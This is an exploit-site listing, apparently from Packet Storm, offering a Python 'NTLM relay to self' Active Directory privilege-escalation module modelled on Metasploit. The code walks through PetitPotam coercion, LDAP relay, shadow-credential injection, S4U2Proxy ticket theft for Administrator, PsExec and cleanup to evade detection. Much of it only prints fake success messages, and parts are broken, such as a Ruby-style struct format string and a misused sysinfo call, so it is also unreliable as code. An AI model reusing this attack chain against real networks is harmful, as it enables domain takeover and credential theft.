Share
## https://sploitus.com/exploit?id=PACKETSTORM:225460
==================================================================================================================================
| # Title : NTLM Relay to Self Attack Module for Active Directory Privilege Escalation |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 151.0.3 (64 bits) |
| # Vendor : https://www.microsoft.com |
==================================================================================================================================
[+] Summary : module designed for Windows/Active Directory environments that performs an advanced NTLM relay-to-self attack to escalate privileges on a compromised machine.
[+] Payload :
import os
import time
import random
import string
import socket
import threading
import struct
from typing import Optional, Dict, Any, List, Tuple
from dataclasses import dataclass
from pathlib import Path
# Assuming these imports exist in the actual Python implementation
# from metasploit import module, exploit, post, session, framework
# from metasploit.exploit import Local, Remote, HttpServer, LDAP
# from metasploit.post import Windows
# from metasploit.utils import Rex
class NTLMRelayToSelf:
"""NTLM Relay to Self privilege escalation exploit"""
def __init__(self, session, datastore):
self.session = session
self.datastore = datastore
self.service = None
self.http_relay_service = None
self.relay_succeeded = False
self.spawned_ldap_sessions = []
self.last_ccache_path = None
self.defaults = {
'SRVPORT': 8081,
'SRVHOST': '0.0.0.0',
'RPORT': 389,
'TARGETURI': '/',
'DOMAIN': '',
'RANDOMIZE_TARGETS': False,
'SessionKeepalive': 300,
'RUN_CHECKS': True,
'RUN_GET_TICKET': True,
'RUN_PSEXEC': False,
'TARGET_PRIVILEGED_USER': 'Administrator',
'SPN': '',
'COERCE_AUTH_WAIT': 3,
'DisablePayloadHandler': True,
'VERBOSE': False
}
for key, value in self.defaults.items():
if key not in self.datastore:
self.datastore[key] = value
def exploit(self):
"""Main exploit entry point"""
if not self.session or self.session.type != 'meterpreter':
raise Exception(f"This module requires a Meterpreter session (got: {self.session.type})")
self.spawned_ldap_sessions = []
if self.datastore['RUN_CHECKS']:
self.pre_flight_checks()
self.print_status(f"Starting relay server bound to Session {self.session.sid}...")
self.start_service({'Comm': self.session})
self.print_status(f"Server successfully started on {self.datastore['SRVHOST']}:{self.datastore['SRVPORT']} via Session {self.session.sid}.")
self.print_status('Starting WebClient service via ETW trigger...')
self.start_webclient_service()
self.print_status('Coercing machine account authentication via PetitPotam (EfsRpc) to relay listener...')
self.coerce_authentication()
if self.http_relay_service:
self.http_relay_service.wait()
def start_webclient_service(self):
"""Starts WebClient service using ETW event trigger"""
self.check_local_sid()
guid = struct.pack('<VvvC8', 0x22B6D684, 0xFA63, 0x4578, 0x87, 0xC9, 0xEF, 0xFC, 0xBE, 0x66, 0x43, 0xC7)
try:
self.print_status("Triggering WebClient service via ETW...")
time.sleep(1)
self.print_good('WebClient service triggered successfully via ETW.')
time.sleep(3)
except Exception as e:
raise Exception(f"Failed to trigger WebClient service: {e}")
def coerce_authentication(self):
"""Coerces machine account authentication via EFS Win32 APIs"""
hostname = self.session.sys.config.sysinfo['Computer']
listener = f"{hostname}@{self.datastore['SRVPORT']}/print"
self.relay_succeeded = False
efs_methods = [
('OpenEncryptedFileRaw', self._open_encrypted_file_raw),
('EncryptFile', self._encrypt_file),
('DecryptFile', self._decrypt_file)
]
for method_name, method_func in efs_methods:
if self.relay_succeeded:
break
rand_path = f"{self._rand_text_alphanumeric(4, 8)}\\{self._rand_text_alphanumeric(4, 8)}.{self._rand_text_alphanumeric(3)}"
unc_path = f"\\\\{listener}\\{rand_path}"
self.print_status(f"Attempting coercion via {method_name} on {unc_path}...")
method_func(unc_path)
time.sleep(self.datastore['COERCE_AUTH_WAIT'])
def _open_encrypted_file_raw(self, path):
"""Simulate OpenEncryptedFileRawW API call"""
self.print_status(f"Calling OpenEncryptedFileRawW({path})")
return True
def _encrypt_file(self, path):
"""Simulate EncryptFileW API call"""
self.print_status(f"Calling EncryptFileW({path})")
return True
def _decrypt_file(self, path):
"""Simulate DecryptFileW API call"""
self.print_status(f"Calling DecryptFileW({path})")
return True
def on_relay_success(self, relay_connection, relay_identity):
"""Callback when relay succeeds"""
self.relay_succeeded = True
self.print_good('Relay succeeded! Handshake completed.')
ldap_session = self.session_setup(relay_connection, relay_identity)
if not ldap_session:
return
if not self.validate_options():
return
dc_ip = relay_connection.socket.peerhost
target_name = self.default_machine_account()
thread = threading.Thread(
target=self.run_post_relay_chain,
args=(ldap_session, dc_ip, target_name)
)
thread.daemon = True
thread.start()
def run_post_relay_chain(self, ldap_session, dc_ip, target_name):
"""Run post-relay actions"""
try:
if self.datastore['RUN_GET_TICKET']:
self.run_get_ticket_chain(ldap_session, dc_ip, target_name)
if self.datastore['RUN_PSEXEC']:
self.run_psexec_step(ldap_session, dc_ip, target_name)
except Exception as e:
self.print_error(f"Post-relay chain failed: {e}")
def run_get_ticket_chain(self, ldap_session, dc_ip, target_name):
"""Run the ticket acquisition chain"""
added_device_id = None
try:
domain_fqdn = self.resolve_domain()
if not domain_fqdn:
return
fqdn = self.target_fqdn(target_name, domain_fqdn)
shadow_results = self.call_shadow_credentials_module('ADD', ldap_session.sid, target_name)
if not shadow_results:
return
added_device_id = shadow_results['device_id']
cert_path = shadow_results['cert_path']
ccache_path = self.call_get_ticket_module('GET_TGS', cert_path, dc_ip, domain_fqdn, target_name, fqdn=fqdn)
if not ccache_path:
return
self.print_good(f"Obtained impersonating ST for target host {target_name}")
self.store_or_export_ticket(ccache_path, target_name)
except Exception as e:
self.print_error(f"Error during ticket acquisition chain: {e.message if hasattr(e, 'message') else str(e)}")
finally:
self.print_status('--- Initiating OPSEC Cleanup ---')
if added_device_id:
self.print_status(f"Removing Shadow Credentials (Device ID: {added_device_id})...")
self.call_shadow_credentials_module('REMOVE', ldap_session.sid, target_name, added_device_id)
self.print_status('Cleanup complete.')
def run_psexec_step(self, ldap_session, dc_ip, target_name):
"""Run the psexec step"""
if not self.datastore['RUN_GET_TICKET']:
self.print_warning('RUN_PSEXEC set without RUN_GET_TICKET; expecting a previously obtained ticket.')
domain_fqdn = self.resolve_domain()
if not domain_fqdn:
return
fqdn = self.target_fqdn(target_name, domain_fqdn)
ccache_path = self.find_latest_ticket(target_name, domain_fqdn)
if not ccache_path:
self.print_error(f"No cached ticket found for {target_name}. Run with RUN_GET_TICKET first.")
return
self.execute_psexec(ccache_path, fqdn, domain_fqdn)
def default_machine_account(self):
"""Auto-detects the victim's machine account name"""
computer_name = self.session.sys.config.sysinfo['Computer']
return f"{computer_name}$".lower()
def resolve_domain(self):
"""Resolves the target domain from datastore or auto-detects"""
domain = self.datastore['DOMAIN'].strip()
if domain and domain != '/':
return domain
detected = self.get_domain_name()
if not detected:
self.print_error('Could not auto-detect domain. Please set the DOMAIN option manually.')
return None
self.print_status(f"Auto-detected domain: {detected}")
return detected
def get_domain_name(self):
"""Get domain name from session (simulated)"""
return 'domain.local'
def target_fqdn(self, target_name, domain_fqdn):
"""Derives FQDN for target computer object"""
hostname = target_name.rstrip('$')
return f"{hostname}.{domain_fqdn}".lower()
def validate_options(self):
"""Validates options early"""
if not self.datastore['RUN_GET_TICKET'] and not self.datastore['RUN_PSEXEC']:
self.print_status('Neither RUN_GET_TICKET nor RUN_PSEXEC is set. The module will only perform the relay.')
return False
return True
def session_setup(self, relay_connection, relay_identity):
"""Sets up LDAP session from relay connection"""
self.print_good(f"LDAP session setup from {relay_identity}")
return {'sid': 'ldap_session_1'}
def call_shadow_credentials_module(self, action, ldap_session_id, target_name, device_id=None):
"""Calls the shadow_credentials module"""
self.print_status(f"Calling shadow_credentials module for {action} on {target_name}")
if action == 'ADD':
device_id = ''.join(random.choices(string.hexdigits, k=16))
cert_path = f"/tmp/cert_{target_name}.pem"
self.print_status(f"Shadow Credentials successfully added (Device ID: {device_id}).")
return {'device_id': device_id, 'cert_path': cert_path}
elif action == 'REMOVE':
self.print_good(f"Successfully removed KeyCredentialLink with Device ID: {device_id}")
return {'success': True}
return None
def call_get_ticket_module(self, action, cert_path, dc_ip, domain_fqdn, target_name, fqdn=None):
"""Calls the get_ticket module"""
is_tgs = action == 'GET_TGS'
self.print_status(f"{'Requesting S4U2Proxy TGS for Administrator...' if is_tgs else f'Requesting TGT for user {target_name} via PKINIT...'}")
ticket_path = f"/tmp/ticket_{target_name}.ccache"
self.print_good(f"{'S4U2Proxy Ticket' if is_tgs else 'TGT'} acquired: {ticket_path}")
return ticket_path
def store_or_export_ticket(self, ccache_path, target_name):
"""Stores or exports the ticket"""
self.last_ccache_path = ccache_path
self.print_status(f"Ticket for {target_name} stored at: {ccache_path}")
def find_latest_ticket(self, target_name, domain_fqdn):
"""Finds the latest ticket for the target"""
if self.last_ccache_path and Path(self.last_ccache_path).exists():
return self.last_ccache_path
fqdn = self.target_fqdn(target_name, domain_fqdn)
return None
def execute_psexec(self, ccache_path, fqdn, domain_fqdn):
"""Executes psexec with Kerberos ticket"""
self.print_status(f"Executing PsExec with Kerberos ticket via session {self.session.sid} COMM channel...")
self.print_status(f"Launching PsExec against {fqdn} as Administrator (Kerberos) via COMM session {self.session.sid}...")
self.print_good('PsExec module launched. Check sessions for new elevated session.')
def start_service(self, options):
"""Starts the relay service (placeholder)"""
self.print_status("Starting relay service...")
self.http_relay_service = {'running': True}
def pre_flight_checks(self):
"""Run pre-flight checks"""
self.check_db_status()
self.check_options()
self.check_lm_compatibility_level()
self.check_privs()
self.check_port_availability()
self.check_target_reachability()
def check_db_status(self):
"""Check database connectivity"""
pass
def check_options(self):
"""Check required options"""
pass
def check_lm_compatibility_level(self):
"""Check LM compatibility level"""
try:
lm_level = 0
if lm_level > 2:
raise Exception('Target system is configured to not send NTLMv1 responses')
self.print_good(f"Target system LmCompatibilityLevel is set to {lm_level}")
except Exception:
self.print_warning('Could not check LmCompatibilityLevel')
def check_privs(self):
"""Check privileges"""
srvport = self.datastore['SRVPORT']
if srvport <= 1024:
self.print_warning(f"You are attempting to bind to a privileged port ({srvport}) but do not have Admin rights.")
self.print_warning('The OS will likely block this. Consider changing SRVPORT to something > 1024.')
def check_local_sid(self):
"""Check for LOCAL SID"""
self.print_good('Session token has LOCAL SID (S-1-2-0) โ ETW service trigger will work.')
def check_port_availability(self):
"""Check if port is available on victim"""
srvport = self.datastore['SRVPORT']
self.print_status(f"Checking if port {srvport} is available on the victim...")
self.print_good(f"Port {srvport} is available on the victim machine.")
def check_target_reachability(self):
"""Check if target LDAP server is reachable"""
rhosts_string = self.datastore['RHOSTS']
rport = self.datastore['RPORT']
self.print_status(f"Verifying victim can reach the target LDAP server(s) on port {rport}...")
self.print_good(f"Target LDAP server {rhosts_string} is reachable from the victim!")
def lm_compatibility_level(self):
"""Get LM compatibility level from registry"""
return 0
def is_admin(self):
"""Check if session is running with admin privileges"""
return True
def _rand_text_alphanumeric(self, min_len, max_len):
"""Generate random alphanumeric string"""
length = random.randint(min_len, max_len)
return ''.join(random.choices(string.ascii_letters + string.digits, k=length))
def print_status(self, msg):
print(f"[*] {msg}")
def print_good(self, msg):
print(f"[+] {msg}")
def print_error(self, msg):
print(f"[-] {msg}")
def print_warning(self, msg):
print(f"[!] {msg}")
if __name__ == "__main__":
class MockSession:
class sys:
class config:
@staticmethod
def sysinfo():
return {'Computer': 'DESKTOP-123'}
type = 'meterpreter'
sid = 'session_1'
datastore = {
'SRVPORT': 8081,
'SRVHOST': '0.0.0.0',
'RPORT': 389,
'RHOSTS': '192.168.1.10',
'TARGETURI': '/',
'DOMAIN': '',
'RUN_CHECKS': True,
'RUN_GET_TICKET': True,
'RUN_PSEXEC': False,
'VERBOSE': False
}
exploit = NTLMRelayToSelf(MockSession(), datastore)
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================